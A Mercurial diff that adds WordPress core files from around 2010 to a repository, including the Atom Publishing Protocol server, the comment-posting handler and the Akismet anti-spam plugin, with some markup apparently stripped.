'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt'); + $result = wp_update_post($post_data); + + if (!$result) { + $this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.')); + } + + wp_update_attachment_metadata( $postID, wp_generate_attachment_metadata( $postID, $location ) ); + + log_app('function',"put_file($postID)"); + $this->ok(); + } + + /** + * Retrieve entries URL. + * + * @since 2.2.0 + * + * @param int $page Page ID. + * @return string + */ + function get_entries_url($page = null) { + if ( isset($GLOBALS['post_type']) && ( $GLOBALS['post_type'] == 'attachment' ) ) { + $path = $this->MEDIA_PATH; + } else { + $path = $this->ENTRIES_PATH; + } + $url = $this->app_base . $path; + if(isset($page) && is_int($page)) { + $url .= "/$page"; + } + return $url; + } + + /** + * Display entries URL. + * + * @since 2.2.0 + * + * @param int $page Page ID. + */ + function the_entries_url($page = null) { + echo $this->get_entries_url($page); + } + + /** + * Retrieve categories URL. + * + * @since 2.2.0 + * + * @param mixed $deprecated Optional, not used. + * @return string + */ + function get_categories_url($deprecated = '') { + return $this->app_base . $this->CATEGORIES_PATH; + } + + /** + * Display category URL. + * + * @since 2.2.0 + */ + function the_categories_url() { + echo $this->get_categories_url(); + } + + /** + * Retrieve attachment URL. + * + * @since 2.2.0 + * + * @param int $page Page ID. + * @return string + */ + function get_attachments_url($page = null) { + $url = $this->app_base . $this->MEDIA_PATH; + if(isset($page) && is_int($page)) { + $url .= "/$page"; + } + return $url; + } + + /** + * Display attachment URL. + * + * @since 2.2.0 + * + * @param int $page Page ID. + */ + function the_attachments_url($page = null) { + echo $this->get_attachments_url($page); + } + + /** + * Retrieve service URL. + * + * @since 2.3.0 + * + * @return string + */ + function get_service_url() { + return $this->app_base . $this->SERVICE_PATH; + } + + /** + * Retrieve entry URL. + * + * @since 2.7.0 + * + * @param int $postID Post ID. + * @return string + */ + function get_entry_url($postID = null) { + if(!isset($postID)) { + global $post; + $postID = (int) $post->ID; + } + + $url = $this->app_base . $this->ENTRY_PATH . "/$postID"; + + log_app('function',"get_entry_url() = $url"); + return $url; + } + + /** + * Display entry URL. + * + * @since 2.7.0 + * + * @param int $postID Post ID. + */ + function the_entry_url($postID = null) { + echo $this->get_entry_url($postID); + } + + /** + * Retrieve media URL. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + * @return string + */ + function get_media_url($postID = null) { + if(!isset($postID)) { + global $post; + $postID = (int) $post->ID; + } + + $url = $this->app_base . $this->MEDIA_SINGLE_PATH ."/file/$postID"; + + log_app('function',"get_media_url() = $url"); + return $url; + } + + /** + * Display the media URL. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function the_media_url($postID = null) { + echo $this->get_media_url($postID); + } + + /** + * Set the current entry to post ID. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function set_current_entry($postID) { + global $entry; + log_app('function',"set_current_entry($postID)"); + + if(!isset($postID)) { + // $this->bad_request(); + $this->not_found(); + } + + $entry = wp_get_single_post($postID,ARRAY_A); + + if(!isset($entry) || !isset($entry['ID'])) + $this->not_found(); + + return; + } + + /** + * Display posts XML. + * + * @since 2.2.0 + * + * @param int $page Optional. Page ID. + * @param string $post_type Optional, default is 'post'. Post Type. + */ + function get_posts($page = 1, $post_type = 'post') { + log_app('function',"get_posts($page, '$post_type')"); + $feed = $this->get_feed($page, $post_type); + $this->output($feed); + } + + /** + * Display attachment XML. + * + * @since 2.2.0 + * + * @param int $page Page ID. + * @param string $post_type Optional, default is 'attachment'. Post type. + */ + function get_attachments($page = 1, $post_type = 'attachment') { + log_app('function',"get_attachments($page, '$post_type')"); + $GLOBALS['post_type'] = $post_type; + $feed = $this->get_feed($page, $post_type); + $this->output($feed); + } + + /** + * Retrieve feed XML. + * + * @since 2.2.0 + * + * @param int $page Page ID. + * @param string $post_type Optional, default is post. Post type. + * @return string + */ + function get_feed($page = 1, $post_type = 'post') { + global $post, $wp, $wp_query, $posts, $wpdb, $blog_id; + log_app('function',"get_feed($page, '$post_type')"); + ob_start(); + + $this->ENTRY_PATH = $post_type; + + if(!isset($page)) { + $page = 1; + } + $page = (int) $page; + + $count = get_option('posts_per_rss'); + + wp('posts_per_page=' . $count . '&offset=' . ($count * ($page-1) . '&orderby=modified')); + + $post = $GLOBALS['post']; + $posts = $GLOBALS['posts']; + $wp = $GLOBALS['wp']; + $wp_query = $GLOBALS['wp_query']; + $wpdb = $GLOBALS['wpdb']; + $blog_id = (int) $GLOBALS['blog_id']; + log_app('function',"query_posts(# " . print_r($wp_query, true) . "#)"); + + log_app('function',"total_count(# $wp_query->max_num_pages #)"); + $last_page = $wp_query->max_num_pages; + $next_page = (($page + 1) > $last_page) ? NULL : $page + 1; + $prev_page = ($page - 1) < 1 ? NULL : $page - 1; + $last_page = ((int)$last_page == 1 || (int)$last_page == 0) ? NULL : (int) $last_page; + $self_page = $page > 1 ? $page : NULL; +?> +the_entries_url() ?> + +<?php bloginfo_rss('name') ?> + + + + + + + + + + +Copyright + +echo_entry(); + } + } +?> +ENTRY_PATH = 'attachment'; + $varname = 'attachment_id'; + break; + } + query_posts($varname . '=' . $postID); + if ( have_posts() ) { + while ( have_posts() ) { + the_post(); + $this->echo_entry(); + log_app('$post',print_r($GLOBALS['post'],true)); + $entry = ob_get_contents(); + break; + } + } + ob_end_clean(); + + log_app('get_entry returning:',$entry); + return $entry; + } + + /** + * Display post content XML. + * + * @since 2.3.0 + */ + function echo_entry() { ?> + + ID); ?> + + <?php echo $content ?> + + + + + post_status == 'draft' ? 'yes' : 'no') ?> + + + + + + + +post_type == 'attachment') { ?> + + + + +post_content ) ) : +list($content_type, $content) = prep_atom_text_construct(get_the_content()); ?> + + + + + + + + + + + + 302 Found + + +

    Found

    +

    The document has moved here.

    + + + +EOD; + header('HTTP/1.1 302 Moved'); + header('Content-Type: text/html'); + header('Location: ' . $url); + echo $content; + exit; + + } + + /** + * Set 'Client Error' (400) status header. + * + * @since 2.2.0 + */ + function client_error($msg = 'Client Error') { + log_app('Status','400: Client Error'); + header('Content-Type: text/plain'); + status_header('400'); + exit; + } + + /** + * Set created status headers (201). + * + * Sets the 'content-type', 'content-location', and 'location'. + * + * @since 2.2.0 + */ + function created($post_ID, $content, $post_type = 'post') { + log_app('created()::$post_ID',"$post_ID, $post_type"); + $edit = $this->get_entry_url($post_ID); + switch($post_type) { + case 'post': + $ctloc = $this->get_entry_url($post_ID); + break; + case 'attachment': + $edit = $this->app_base . "attachments/$post_ID"; + break; + } + header("Content-Type: $this->ATOM_CONTENT_TYPE"); + if(isset($ctloc)) + header('Content-Location: ' . $ctloc); + header('Location: ' . $edit); + status_header('201'); + echo $content; + exit; + } + + /** + * Set 'Auth Required' (401) headers. + * + * @since 2.2.0 + * + * @param string $msg Status header content and HTML content. + */ + function auth_required($msg) { + log_app('Status','401: Auth Required'); + nocache_headers(); + header('WWW-Authenticate: Basic realm="WordPress Atom Protocol"'); + header("HTTP/1.1 401 $msg"); + header('Status: 401 ' . $msg); + header('Content-Type: text/html'); + $content = << + + + 401 Unauthorized + + +

    401 Unauthorized

    +

    $msg

    + + + +EOD; + echo $content; + exit; + } + + /** + * Display XML and set headers with content type. + * + * @since 2.2.0 + * + * @param string $xml Display feed content. + * @param string $ctype Optional, default is 'atom+xml'. Feed content type. + */ + function output($xml, $ctype = 'application/atom+xml') { + status_header('200'); + $xml = ''."\n".$xml; + header('Connection: close'); + header('Content-Length: '. strlen($xml)); + header('Content-Type: ' . $ctype); + header('Content-Disposition: attachment; filename=atom.xml'); + header('Date: '. date('r')); + if($this->do_output) + echo $xml; + log_app('function', "output:\n$xml"); + exit; + } + + /** + * Sanitize content for database usage. + * + * @since 2.2.0 + * + * @param array $array Sanitize array and multi-dimension array. + */ + function escape(&$array) { + global $wpdb; + + foreach ($array as $k => $v) { + if (is_array($v)) { + $this->escape($array[$k]); + } else if (is_object($v)) { + //skip + } else { + $array[$k] = $wpdb->escape($v); + } + } + } + + /** + * Access credential through various methods and perform login. + * + * @since 2.2.0 + * + * @return bool + */ + function authenticate() { + log_app("authenticate()",print_r($_ENV, true)); + + // if using mod_rewrite/ENV hack + // http://www.besthostratings.com/articles/http-auth-php-cgi.html + if(isset($_SERVER['HTTP_AUTHORIZATION'])) { + list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = + explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6))); + } else if (isset($_SERVER['REDIRECT_REMOTE_USER'])) { + // Workaround for setups that do not forward HTTP_AUTHORIZATION + // See http://trac.wordpress.org/ticket/7361 + list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = + explode(':', base64_decode(substr($_SERVER['REDIRECT_REMOTE_USER'], 6))); + } + + // If Basic Auth is working... + if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) { + log_app("Basic Auth",$_SERVER['PHP_AUTH_USER']); + + $user = wp_authenticate($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']); + if ( $user && !is_wp_error($user) ) { + wp_set_current_user($user->ID); + log_app("authenticate()", $user->user_login); + return true; + } + } + + return false; + } + + /** + * Retrieve accepted content types. + * + * @since 2.2.0 + * + * @param array $types Optional. Content Types. + * @return string + */ + function get_accepted_content_type($types = null) { + + if(!isset($types)) { + $types = $this->media_content_types; + } + + if(!isset($_SERVER['CONTENT_LENGTH']) || !isset($_SERVER['CONTENT_TYPE'])) { + $this->length_required(); + } + + $type = $_SERVER['CONTENT_TYPE']; + list($type,$subtype) = explode('/',$type); + list($subtype) = explode(";",$subtype); // strip MIME parameters + log_app("get_accepted_content_type", "type=$type, subtype=$subtype"); + + foreach($types as $t) { + list($acceptedType,$acceptedSubtype) = explode('/',$t); + if($acceptedType == '*' || $acceptedType == $type) { + if($acceptedSubtype == '*' || $acceptedSubtype == $subtype) + return $type . "/" . $subtype; + } + } + + $this->invalid_media(); + } + + /** + * Process conditionals for posts. + * + * @since 2.2.0 + */ + function process_conditionals() { + + if(empty($this->params)) return; + if($_SERVER['REQUEST_METHOD'] == 'DELETE') return; + + switch($this->params[0]) { + case $this->ENTRY_PATH: + global $post; + $post = wp_get_single_post($this->params[1]); + $wp_last_modified = get_post_modified_time('D, d M Y H:i:s', true); + $post = NULL; + break; + case $this->ENTRIES_PATH: + $wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastpostmodified('GMT'), 0).' GMT'; + break; + default: + return; + } + $wp_etag = md5($wp_last_modified); + @header("Last-Modified: $wp_last_modified"); + @header("ETag: $wp_etag"); + + // Support for Conditional GET + if (isset($_SERVER['HTTP_IF_NONE_MATCH'])) + $client_etag = stripslashes($_SERVER['HTTP_IF_NONE_MATCH']); + else + $client_etag = false; + + $client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE']); + // If string is empty, return 0. If not, attempt to parse into a timestamp + $client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0; + + // Make a timestamp for our most recent modification... + $wp_modified_timestamp = strtotime($wp_last_modified); + + if ( ($client_last_modified && $client_etag) ? + (($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) : + (($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) { + status_header( 304 ); + exit; + } + } + + /** + * Convert RFC3339 time string to timestamp. + * + * @since 2.3.0 + * + * @param string $str String to time. + * @return bool|int false if format is incorrect. + */ + function rfc3339_str2time($str) { + + $match = false; + if(!preg_match("/(\d{4}-\d{2}-\d{2})T(\d{2}\:\d{2}\:\d{2})\.?\d{0,3}(Z|[+-]+\d{2}\:\d{2})/", $str, $match)) + return false; + + if($match[3] == 'Z') + $match[3] == '+0000'; + + return strtotime($match[1] . " " . $match[2] . " " . $match[3]); + } + + /** + * Retrieve published time to display in XML. + * + * @since 2.3.0 + * + * @param string $published Time string. + * @return string + */ + function get_publish_time($published) { + + $pubtime = $this->rfc3339_str2time($published); + + if(!$pubtime) { + return array(current_time('mysql'),current_time('mysql',1)); + } else { + return array(date("Y-m-d H:i:s", $pubtime), gmdate("Y-m-d H:i:s", $pubtime)); + } + } + +} + +/** + * AtomServer + * @var AtomServer + * @global object $server + */ +$server = new AtomServer(); +$server->handle_request(); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-atom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-atom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-blog-header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-blog-header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,20 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-comments-post.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-comments-post.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,98 @@ +get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); + +if ( empty($status->comment_status) ) { + do_action('comment_id_not_found', $comment_post_ID); + exit; +} elseif ( !comments_open($comment_post_ID) ) { + do_action('comment_closed', $comment_post_ID); + wp_die( __('Sorry, comments are closed for this item.') ); +} elseif ( in_array($status->post_status, array('draft', 'future', 'pending') ) ) { + do_action('comment_on_draft', $comment_post_ID); + exit; +} elseif ( 'trash' == $status->post_status ) { + do_action('comment_on_trash', $comment_post_ID); + exit; +} elseif ( post_password_required($comment_post_ID) ) { + do_action('comment_on_password_protected', $comment_post_ID); + exit; +} else { + do_action('pre_comment_on_post', $comment_post_ID); +} + +$comment_author = ( isset($_POST['author']) ) ? trim(strip_tags($_POST['author'])) : null; +$comment_author_email = ( isset($_POST['email']) ) ? trim($_POST['email']) : null; +$comment_author_url = ( isset($_POST['url']) ) ? trim($_POST['url']) : null; +$comment_content = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null; + +// If the user is logged in +$user = wp_get_current_user(); +if ( $user->ID ) { + if ( empty( $user->display_name ) ) + $user->display_name=$user->user_login; + $comment_author = $wpdb->escape($user->display_name); + $comment_author_email = $wpdb->escape($user->user_email); + $comment_author_url = $wpdb->escape($user->user_url); + if ( current_user_can('unfiltered_html') ) { + if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { + kses_remove_filters(); // start with a clean slate + kses_init_filters(); // set up the filters + } + } +} else { + if ( get_option('comment_registration') || 'private' == $status->post_status ) + wp_die( __('Sorry, you must be logged in to post a comment.') ); +} + +$comment_type = ''; + +if ( get_option('require_name_email') && !$user->ID ) { + if ( 6 > strlen($comment_author_email) || '' == $comment_author ) + wp_die( __('Error: please fill the required fields (name, email).') ); + elseif ( !is_email($comment_author_email)) + wp_die( __('Error: please enter a valid email address.') ); +} + +if ( '' == $comment_content ) + wp_die( __('Error: please type a comment.') ); + +$comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0; + +$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); + +$comment_id = wp_new_comment( $commentdata ); + +$comment = get_comment($comment_id); +if ( !$user->ID ) { + $comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000); + setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); + setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); + setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); +} + +$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id; +$location = apply_filters('comment_post_redirect', $location, $comment); + +wp_redirect($location); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-commentsrss2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-commentsrss2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-config-sample.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-config-sample.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,76 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/akismet/akismet.gif Binary file web/wp-content/plugins/akismet/akismet.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/akismet/akismet.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/akismet/akismet.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1124 @@ +WordPress.com API key to use it. You can review the spam it catches under "Comments." To show off your Akismet stats just put <?php akismet_counter(); ?> in your template. See also: WP Stats plugin. +Version: 2.2.7 +Author: Matt Mullenweg +Author URI: http://ma.tt/ +*/ + +define('AKISMET_VERSION', '2.2.7'); + +// If you hardcode a WP.com API key here, all key config screens will be hidden +if ( defined('WPCOM_API_KEY') ) + $wpcom_api_key = constant('WPCOM_API_KEY'); +else + $wpcom_api_key = ''; + +function akismet_init() { + global $wpcom_api_key, $akismet_api_host, $akismet_api_port; + + if ( $wpcom_api_key ) + $akismet_api_host = $wpcom_api_key . '.rest.akismet.com'; + else + $akismet_api_host = get_option('wordpress_api_key') . '.rest.akismet.com'; + + $akismet_api_port = 80; + add_action('admin_menu', 'akismet_config_page'); + add_action('admin_menu', 'akismet_stats_page'); + akismet_admin_warnings(); +} +add_action('init', 'akismet_init'); + +function akismet_admin_init() { + if ( function_exists( 'get_plugin_page_hook' ) ) + $hook = get_plugin_page_hook( 'akismet-stats-display', 'index.php' ); + else + $hook = 'dashboard_page_akismet-stats-display'; + add_action('admin_head-'.$hook, 'akismet_stats_script'); +} +add_action('admin_init', 'akismet_admin_init'); + +if ( !function_exists('wp_nonce_field') ) { + function akismet_nonce_field($action = -1) { return; } + $akismet_nonce = -1; +} else { + function akismet_nonce_field($action = -1) { return wp_nonce_field($action); } + $akismet_nonce = 'akismet-update-key'; +} + +if ( !function_exists('number_format_i18n') ) { + function number_format_i18n( $number, $decimals = null ) { return number_format( $number, $decimals ); } +} + +function akismet_config_page() { + if ( function_exists('add_submenu_page') ) + add_submenu_page('plugins.php', __('Akismet Configuration'), __('Akismet Configuration'), 'manage_options', 'akismet-key-config', 'akismet_conf'); + +} + +function akismet_conf() { + global $akismet_nonce, $wpcom_api_key; + + if ( isset($_POST['submit']) ) { + if ( function_exists('current_user_can') && !current_user_can('manage_options') ) + die(__('Cheatin’ uh?')); + + check_admin_referer( $akismet_nonce ); + $key = preg_replace( '/[^a-h0-9]/i', '', $_POST['key'] ); + + if ( empty($key) ) { + $key_status = 'empty'; + $ms[] = 'new_key_empty'; + delete_option('wordpress_api_key'); + } else { + $key_status = akismet_verify_key( $key ); + } + + if ( $key_status == 'valid' ) { + update_option('wordpress_api_key', $key); + $ms[] = 'new_key_valid'; + } else if ( $key_status == 'invalid' ) { + $ms[] = 'new_key_invalid'; + } else if ( $key_status == 'failed' ) { + $ms[] = 'new_key_failed'; + } + + if ( isset( $_POST['akismet_discard_month'] ) ) + update_option( 'akismet_discard_month', 'true' ); + else + update_option( 'akismet_discard_month', 'false' ); + } elseif ( isset($_POST['check']) ) { + akismet_get_server_connectivity(0); + } + + if ( $key_status != 'valid' ) { + $key = get_option('wordpress_api_key'); + if ( empty( $key ) ) { + if ( $key_status != 'failed' ) { + if ( akismet_verify_key( '1234567890ab' ) == 'failed' ) + $ms[] = 'no_connection'; + else + $ms[] = 'key_empty'; + } + $key_status = 'empty'; + } else { + $key_status = akismet_verify_key( $key ); + } + if ( $key_status == 'valid' ) { + $ms[] = 'key_valid'; + } else if ( $key_status == 'invalid' ) { + delete_option('wordpress_api_key'); + $ms[] = 'key_empty'; + } else if ( !empty($key) && $key_status == 'failed' ) { + $ms[] = 'key_failed'; + } + } + + $messages = array( + 'new_key_empty' => array('color' => 'aa0', 'text' => __('Your key has been cleared.')), + 'new_key_valid' => array('color' => '2d2', 'text' => __('Your key has been verified. Happy blogging!')), + 'new_key_invalid' => array('color' => 'd22', 'text' => __('The key you entered is invalid. Please double-check it.')), + 'new_key_failed' => array('color' => 'd22', 'text' => __('The key you entered could not be verified because a connection to akismet.com could not be established. Please check your server configuration.')), + 'no_connection' => array('color' => 'd22', 'text' => __('There was a problem connecting to the Akismet server. Please check your server configuration.')), + 'key_empty' => array('color' => 'aa0', 'text' => sprintf(__('Please enter an API key. (Get your key.)'), 'http://akismet.com/get/')), + 'key_valid' => array('color' => '2d2', 'text' => __('This key is valid.')), + 'key_failed' => array('color' => 'aa0', 'text' => __('The key below was previously validated but a connection to akismet.com can not be established at this time. Please check your server configuration.'))); +?> + +

    + +
    +

    +
    +
    + +

    Akismet will greatly reduce or even completely eliminate the comment and trackback spam you get on your site. If one does happen to get through, simply mark it as "spam" on the moderation screen and Akismet will learn from the mistakes. If you don\'t have a WordPress.com account yet, you can get one at Akismet.com.'), 'http://akismet.com/', 'http://akismet.com/get/'); ?>

    + + +

    + +

    + +

    (What is this?'); ?>)

    + +

    +

    + + +

    +

    +
    + +
    + +

    + 0 ) { + // some connections work, some fail + if ( $fail_count > 0 && $fail_count < count($servers) ) { ?> +

    +

    this information about Akismet and firewalls.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?>

    + 0 ) { ?> +

    +

    Akismet cannot work correctly until this is fixed. Please contact your web host or firewall administrator and give them this information about Akismet and firewalls.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?>

    + +

    +

    + +

    +

    fsockopen function. Akismet cannot work correctly until this is fixed. Please contact your web host or firewall administrator and give them this information about Akismet\'s system requirements.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?>

    + +

    +

    Akismet cannot work correctly until this is fixed. Please contact your web host or firewall administrator and give them this information about Akismet and firewalls.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?>

    + + + + + $status ) { + $color = ( $status ? '#2d2' : '#d22'); + ?> + + + + + + +
    +

    +

    +
    + +
    +
    + + +
    + +
    +

    ".__('Akismet is almost ready.')." ".sprintf(__('You must enter your WordPress.com API key for it to work.'), "plugins.php?page=akismet-key-config")."

    + "; + } + add_action('admin_notices', 'akismet_warning'); + return; + } elseif ( get_option('akismet_connectivity_time') && empty($_POST) && is_admin() && !akismet_server_connectivity_ok() ) { + function akismet_warning() { + echo " +

    ".__('Akismet has detected a problem.')." ".sprintf(__('A server or network problem is preventing Akismet from working correctly. Click here for more information about how to fix the problem.'), "plugins.php?page=akismet-key-config")."

    + "; + } + add_action('admin_notices', 'akismet_warning'); + return; + } +} + +function akismet_get_host($host) { + // if all servers are accessible, just return the host name. + // if not, return an IP that was known to be accessible at the last check. + if ( akismet_server_connectivity_ok() ) { + return $host; + } else { + $ips = akismet_get_server_connectivity(); + // a firewall may be blocking access to some Akismet IPs + if ( count($ips) > 0 && count(array_filter($ips)) < count($ips) ) { + // use DNS to get current IPs, but exclude any known to be unreachable + $dns = (array)gethostbynamel( rtrim($host, '.') . '.' ); + $dns = array_filter($dns); + foreach ( $dns as $ip ) { + if ( array_key_exists( $ip, $ips ) && empty( $ips[$ip] ) ) + unset($dns[$ip]); + } + // return a random IP from those available + if ( count($dns) ) + return $dns[ array_rand($dns) ]; + + } + } + // if all else fails try the host name + return $host; +} + +// Returns array with headers in $response[0] and body in $response[1] +function akismet_http_post($request, $host, $path, $port = 80, $ip=null) { + global $wp_version; + + $akismet_version = constant('AKISMET_VERSION'); + + $http_request = "POST $path HTTP/1.0\r\n"; + $http_request .= "Host: $host\r\n"; + $http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n"; + $http_request .= "Content-Length: " . strlen($request) . "\r\n"; + $http_request .= "User-Agent: WordPress/$wp_version | Akismet/$akismet_version\r\n"; + $http_request .= "\r\n"; + $http_request .= $request; + + $http_host = $host; + // use a specific IP if provided - needed by akismet_check_server_connectivity() + if ( $ip && long2ip(ip2long($ip)) ) { + $http_host = $ip; + } else { + $http_host = akismet_get_host($host); + } + + $response = ''; + if( false != ( $fs = @fsockopen($http_host, $port, $errno, $errstr, 10) ) ) { + fwrite($fs, $http_request); + + while ( !feof($fs) ) + $response .= fgets($fs, 1160); // One TCP-IP packet + fclose($fs); + $response = explode("\r\n\r\n", $response, 2); + } + return $response; +} + +// filter handler used to return a spam result to pre_comment_approved +function akismet_result_spam( $approved ) { + // bump the counter here instead of when the filter is added to reduce the possibility of overcounting + if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) + update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); + return 'spam'; +} + +function akismet_auto_check_comment( $comment ) { + global $akismet_api_host, $akismet_api_port; + + $comment['user_ip'] = preg_replace( '/[^0-9., ]/', '', $_SERVER['REMOTE_ADDR'] ); + $comment['user_agent'] = $_SERVER['HTTP_USER_AGENT']; + $comment['referrer'] = $_SERVER['HTTP_REFERER']; + $comment['blog'] = get_option('home'); + $comment['blog_lang'] = get_locale(); + $comment['blog_charset'] = get_option('blog_charset'); + $comment['permalink'] = get_permalink($comment['comment_post_ID']); + + $ignore = array( 'HTTP_COOKIE' ); + + foreach ( $_SERVER as $key => $value ) + if ( !in_array( $key, $ignore ) && is_string($value) ) + $comment["$key"] = $value; + + $query_string = ''; + foreach ( $comment as $key => $data ) + $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; + + $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); + if ( 'true' == $response[1] ) { + // akismet_spam_count will be incremented later by akismet_result_spam() + add_filter('pre_comment_approved', 'akismet_result_spam'); + + do_action( 'akismet_spam_caught' ); + + $post = get_post( $comment['comment_post_ID'] ); + $last_updated = strtotime( $post->post_modified_gmt ); + $diff = time() - $last_updated; + $diff = $diff / 86400; + + if ( $post->post_type == 'post' && $diff > 30 && get_option( 'akismet_discard_month' ) == 'true' ) { + // akismet_result_spam() won't be called so bump the counter here + if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) + update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); + die; + } + } + akismet_delete_old(); + return $comment; +} + +function akismet_delete_old() { + global $wpdb; + $now_gmt = current_time('mysql', 1); + $wpdb->query("DELETE FROM $wpdb->comments WHERE DATE_SUB('$now_gmt', INTERVAL 15 DAY) > comment_date_gmt AND comment_approved = 'spam'"); + $n = mt_rand(1, 5000); + if ( $n == 11 ) // lucky number + $wpdb->query("OPTIMIZE TABLE $wpdb->comments"); +} + +function akismet_submit_nonspam_comment ( $comment_id ) { + global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site; + $comment_id = (int) $comment_id; + + $comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'"); + if ( !$comment ) // it was deleted + return; + $comment->blog = get_option('home'); + $comment->blog_lang = get_locale(); + $comment->blog_charset = get_option('blog_charset'); + $comment->permalink = get_permalink($comment->comment_post_ID); + if ( is_object($current_user) ) { + $comment->reporter = $current_user->user_login; + } + if ( is_object($current_site) ) { + $comment->site_domain = $current_site->domain; + } + $query_string = ''; + foreach ( $comment as $key => $data ) + $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; + + $response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-ham", $akismet_api_port); +} + +function akismet_submit_spam_comment ( $comment_id ) { + global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site; + $comment_id = (int) $comment_id; + + $comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'"); + if ( !$comment ) // it was deleted + return; + if ( 'spam' != $comment->comment_approved ) + return; + $comment->blog = get_option('home'); + $comment->blog_lang = get_locale(); + $comment->blog_charset = get_option('blog_charset'); + $comment->permalink = get_permalink($comment->comment_post_ID); + if ( is_object($current_user) ) { + $comment->reporter = $current_user->user_login; + } + if ( is_object($current_site) ) { + $comment->site_domain = $current_site->domain; + } + $query_string = ''; + foreach ( $comment as $key => $data ) + $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; + + $response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-spam", $akismet_api_port); +} + +add_action('wp_set_comment_status', 'akismet_submit_spam_comment'); +add_action('edit_comment', 'akismet_submit_spam_comment'); +add_action('preprocess_comment', 'akismet_auto_check_comment', 1); + +function akismet_spamtoham( $comment ) { akismet_submit_nonspam_comment( $comment->comment_ID ); } +add_filter( 'comment_spam_to_approved', 'akismet_spamtoham' ); + +// Total spam in queue +// get_option( 'akismet_spam_count' ) is the total caught ever +function akismet_spam_count( $type = false ) { + global $wpdb; + + if ( !$type ) { // total + $count = wp_cache_get( 'akismet_spam_count', 'widget' ); + if ( false === $count ) { + if ( function_exists('wp_count_comments') ) { + $count = wp_count_comments(); + $count = $count->spam; + } else { + $count = (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam'"); + } + wp_cache_set( 'akismet_spam_count', $count, 'widget', 3600 ); + } + return $count; + } elseif ( 'comments' == $type || 'comment' == $type ) { // comments + $type = ''; + } else { // pingback, trackback, ... + $type = $wpdb->escape( $type ); + } + + return (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type'"); +} + +function akismet_spam_comments( 